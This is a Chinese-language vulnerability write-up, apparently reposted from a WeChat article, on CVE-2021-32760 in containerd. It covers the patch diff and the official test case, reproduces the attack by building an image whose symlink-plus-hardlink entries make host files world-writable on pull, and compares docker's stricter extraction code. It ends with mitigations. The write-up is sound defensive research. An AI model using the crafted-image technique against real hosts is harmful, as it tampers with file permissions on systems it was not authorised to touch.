CVE-2021-32760漏洞分析与复现
2024-3-10 17:12:52 Author: mp.weixin.qq.com(查看原文) 阅读量:23 收藏

本文仅用于学习研究为目的,禁止用于任何非法目的,否则后果自负。


漏洞背景

近日Containerd公布了一个安全漏洞,攻击者通过构造一个恶意镜像,能够在普通用户进行pull和提取镜像时,修改用户宿主机上现存文件的文件权限。该漏洞不能直接读取,写入或者执行用户的文件。
CVE-2021-32760漏洞被评估为5.0 MEDIUM(https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2021-32760&vector=AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L&version=3.1&source=GitHub,%20Inc.)中危,关于该漏洞的详细信息,请参见https://github.com/containerd/containerd/security/advisories/GHSA-c72p-9xmj-rx3w


漏洞分析与复现

漏洞分析

从官方的patch(https://github.com/containerd/containerd/compare/v1.5.3...v1.5.4)可以看出,之前只考虑了硬链接和非软连接的情况,当在打包的时候采用软链接+硬链接时则会绕过该检查。
修复之前的代码:
func handleLChmod(hdr *tar.Header, path string, hdrInfo os.FileInfo) error {
if hdr.Typeflag == tar.TypeLink {
if fi, err := os.Lstat(hdr.Linkname); err == nil && (fi.Mode()&os.ModeSymlink == 0) {
if err := os.Chmod(path, hdrInfo.Mode()); err != nil && !os.IsNotExist(err) {
return err
}
}
} else if hdr.Typeflag != tar.TypeSymlink {
if err := os.Chmod(path, hdrInfo.Mode()); err != nil {
return err
}
}
return nil
}
修复之后的代码:
func lchmod(path string, mode os.FileMode) error {
fi, err := os.Lstat(path)
if err != nil {
return err
}

if fi.Mode()&os.ModeSymlink == 0 {
if err := os.Chmod(path, mode); err != nil {
return err
}
}
return nil
}

通过构造软连接+硬链接的方式将容器镜像内部的文件链接到宿主机上的文件构造恶意镜像,能够在Containerd拉取和提取镜像的时候修改宿主机文件权限,官方给的测试用例如下:
{

name: "HardlinkSymlinkChmod",
w: func() tartest.WriterToTar {
p := filepath.Join(td, "perm400")
if err := ioutil.WriteFile(p, []byte("..."), 0400); err != nil {
t.Fatal(err)
}
ep := filepath.Join(td, "also-exists-outside-root")
if err := ioutil.WriteFile(ep, []byte("..."), 0640); err != nil {
t.Fatal(err)
}

return tartest.TarAll(
tc.Symlink(p, ep),
tc.Link(ep, "sketchylink"),
)
}(),
validator: func(string) error {
p := filepath.Join(td, "perm400")
fi, err := os.Lstat(p)
if err != nil {
return err
}
if perm := fi.Mode() & os.ModePerm; perm != 0400 {
return errors.Errorf("%s perm changed from 0400 to %04o", p, perm)
}
return nil
},
}

漏洞复现

在镜像中创建admin目录,此目录需要宿主机也存在,并构造恶意链接:
/home/admin # ln -s /home/admin/poc /home/admin/ep;ln ep sketchylink;ls -al
total 0
drwxr-xr-x    2 root     root            33 Jul 23 10:46 .
drwxr-xr-x    3 nobody   nobody          18 Jul 23 10:45 ..
lrwxrwxrwx    2 root     root            15 Jul 23 10:45 ep -> /home/admin/poc
lrwxrwxrwx    2 root     root            15 Jul 23 10:45 sketchylink -> /home/admin/poc
在宿主机创建poc和ep两个文件,poc赋予400权限:
$ls -al
total 40
drwxr-xr-x   3 admin admin    4096 Jul 23 19:19 .
drwxr-xr-x. 21 root  root     4096 Jul 22 13:47 ..
-rw-r--r--   1 root  root        0 Jul 23 19:19 ep
-r--------   1 root  root        0 Jul 23 19:19 poc
打包镜像后,用containerd进行拉取:
$sudo ctr image pull docker.io/test_images/vul:busybox-cve-2021-32760-0.5
docker.io/test_images/vul:busybox-cve-2021-32760-0.5:           resolved       |++++++++++++++++++++++++++++++++++++++| 
manifest-sha256:48fa9fbf6b8139288d2129e66013812175b762a872b62e70d7f37f9a3eb17aaa: done           |++++++++++++++++++++++++++++++++++++++| 
config-sha256:41346c641dd83548d3517a1caac991a0a8acdc427936e7e459ac8b78a5d8ae51:   done           |++++++++++++++++++++++++++++++++++++++| 
layer-sha256:b71f96345d44b237decc0c2d6c2f9ad0d17fde83dad7579608f1f0764d9686f2:    exists         |++++++++++++++++++++++++++++++++++++++| 
layer-sha256:4ee243a3930c69f74db7f5a33d5c46dfc0e2ef14452503ead59b386aad009078:    done           |++++++++++++++++++++++++++++++++++++++| 
elapsed: 1.1 s                                                                    total:  734.0  (666.0 B/s)                                       
unpacking linux/amd64 sha256:48fa9fbf6b8139288d2129e66013812175b762a872b62e70d7f37f9a3eb17aaa...
done
查看poc文件权限:
$ls -al ep poc
-rw-r--r-- 1 root root 0 Jul 23 19:23 ep
-rwxrwxrwx 1 root root 0 Jul 23 19:21 poc
可以看到文件权限变为777,利用成功。
在这个漏洞分析完之后,不免产生一个疑问,docker和containerd都存在拉取并提取镜像的行为,为什么这个漏洞只影响containerd,不影响docker呢?
让我们分别看下docker和containerd对镜像进行提取时的逻辑:
containerd:
// Iterate through the files in the archive.
for {
select {
case <-ctx.Done():
return 0, ctx.Err()
default:
}

hdr, err := tr.Next()
if err == io.EOF {
// end of tar archive
break
}
if err != nil {
return 0, err
}

size += hdr.Size

// Normalize name, for safety and for a simple is-root check
hdr.Name = filepath.Clean(hdr.Name)

accept, err := options.Filter(hdr)
if err != nil {
return 0, err
}
if !accept {
continue
}

if skipFile(hdr) {
log.G(ctx).Warnf("file %q ignored: archive may not be supported on system", hdr.Name)
continue
}

// Split name and resolve symlinks for root directory.
ppath, base := filepath.Split(hdr.Name)
ppath, err = fs.RootPath(root, ppath)
if err != nil {
return 0, errors.Wrap(err, "failed to get root path")
}

// Join to root before joining to parent path to ensure relative links are
// already resolved based on the root before adding to parent.
path := filepath.Join(ppath, filepath.Join("/", base))
if path == root {
log.G(ctx).Debugf("file %q ignored: resolved to root", hdr.Name)
continue
}

// If file is not directly under root, ensure parent directory
// exists or is created.
if ppath != root {
parentPath := ppath
if base == "" {
parentPath = filepath.Dir(path)
}
if err := mkparent(ctx, parentPath, root, options.Parents); err != nil {
return 0, err
}
}

首先containerd在处理tar包时,会对tar包中的文件进行遍历,刚开始发现此处其实存在目录穿越的问题,后来仔细研究发现在使用相对路径时候,fs.RootPath在所有的路径前面都加上了root目录,限制了目录的范围,无法进行穿越,之后createTarFile函数对压缩包的不同文件类型都进行了处理,当文件类型是软链接时:
case tar.TypeSymlink:
if err := os.Symlink(hdr.Linkname, path); err != nil {
return err
}
直接对软连接和path进行了链接,并未对链接后的路径进行限制,因此此处其实是存在目录穿越漏洞的,在有漏洞的handleLChmod代码中,对tar文件的文件类型进行了判断,并未对链接的文件类型进行限制,因此当采用软连接+硬链接时,会直接链接到宿主机的文件中,从而将宿主机的文件权限进行修改。
值得注意的是,此处containerd对使用软链接的目录穿越的问题仍未修复,修复后的代码只是对文件的类型进行了判断,因此还是可以通过软连接+硬链接的方式链接到宿主机的文件,只不过干不了什么?
再来看看docker这部分逻辑的实现代码:
for {
hdr, err := tr.Next()
if err == io.EOF {
// end of tar archive
break
}
if err != nil {
return err
}

// ignore XGlobalHeader early to avoid creating parent directories for them
if hdr.Typeflag == tar.TypeXGlobalHeader {
logrus.Debugf("PAX Global Extended Headers found for %s and ignored", hdr.Name)
continue
}

// Normalize name, for safety and for a simple is-root check
// This keeps "../" as-is, but normalizes "/../" to "/". Or Windows:
// This keeps "..\" as-is, but normalizes "\..\" to "\".
hdr.Name = filepath.Clean(hdr.Name)

for _, exclude := range options.ExcludePatterns {
if strings.HasPrefix(hdr.Name, exclude) {
continue loop
}
}

// After calling filepath.Clean(hdr.Name) above, hdr.Name will now be in
// the filepath format for the OS on which the daemon is running. Hence
// the check for a slash-suffix MUST be done in an OS-agnostic way.
if !strings.HasSuffix(hdr.Name, string(os.PathSeparator)) {
// Not the root directory, ensure that the parent directory exists
parent := filepath.Dir(hdr.Name)
parentPath := filepath.Join(dest, parent)
if _, err := os.Lstat(parentPath); err != nil && os.IsNotExist(err) {
err = idtools.MkdirAllAndChownNew(parentPath, 0755, rootIDs)
if err != nil {
return err
}
}
}

path := filepath.Join(dest, hdr.Name)
rel, err := filepath.Rel(dest, path)
if err != nil {
return err
}
if strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
return breakoutError(fmt.Errorf("%q is outside of %q", hdr.Name, dest))
}

可以看到此处docker对于路径的限制其实是比containerd更严格的,除了对在tar包的文件路径前面加上了dest的限制,并且禁止使用..的相对路径,因此在docker中这部分逻辑不存在目录穿越的问题。再看下对于链接文件的处理情况:
case tar.TypeLink:
targetPath := filepath.Join(extractDir, hdr.Linkname)
// check for hardlink breakout
if !strings.HasPrefix(targetPath, extractDir) {
return breakoutError(fmt.Errorf("invalid hardlink %q -> %q", targetPath, hdr.Linkname))
}
if err := os.Link(targetPath, path); err != nil {
return err
}

case tar.TypeSymlink:
//  path  -> hdr.Linkname = targetPath
// e.g. /extractDir/path/to/symlink  -> ../2/file = /extractDir/path/2/file
targetPath := filepath.Join(filepath.Dir(path), hdr.Linkname)

// the reason we don't need to check symlinks in the path (with FollowSymlinkInScope) is because
// that symlink would first have to be created, which would be caught earlier, at this very check:
if !strings.HasPrefix(targetPath, extractDir) {
return breakoutError(fmt.Errorf("invalid symlink %q -> %q", path, hdr.Linkname))
}
if err := os.Symlink(hdr.Linkname, path); err != nil {
return err
}

可以看到其实docker是有相似的处理逻辑,只不过docker的处理逻辑更加严格,对链接文件进行了限制,无法链接到宿主机的任意文件中了,因此这个漏洞不影响docker。
虽然对于文件权限的处理逻辑docker和containerd一模一样。
func handleLChmod(hdr *tar.Header, path string, hdrInfo os.FileInfo) error {
if hdr.Typeflag == tar.TypeLink {
if fi, err := os.Lstat(hdr.Linkname); err == nil && (fi.Mode()&os.ModeSymlink == 0) {
if err := os.Chmod(path, hdrInfo.Mode()); err != nil {
return err
}
}
} else if hdr.Typeflag != tar.TypeSymlink {
if err := os.Chmod(path, hdrInfo.Mode()); err != nil {
return err
}
}
return nil
}


影响范围

社区版受影响范围
<=1.4.7,1.5.0,1.5.1,1.5.2,1.5.3
修复版本
1.5.4, 1.4.8


漏洞缓解和修复措施

缓解措施:
1、保证镜像从可信的镜像源头进行下载;
2、使用SELinux(https://wiki.centos.org/HowTos/SELinux)AppArmor(https://apparmor.net/)限制Containerd访问的文件。
修复措施:
升级Contained到1.5.4, 1.4.8。

文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458545484&idx=1&sn=ba54c0bae5a9c91ff71d0b350478c90e&chksm=b18d5dc686fad4d02e9f1e23bda7e71a5a989d9d336764ef055bc4a9bf6ae6883f4154bf4a2f&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh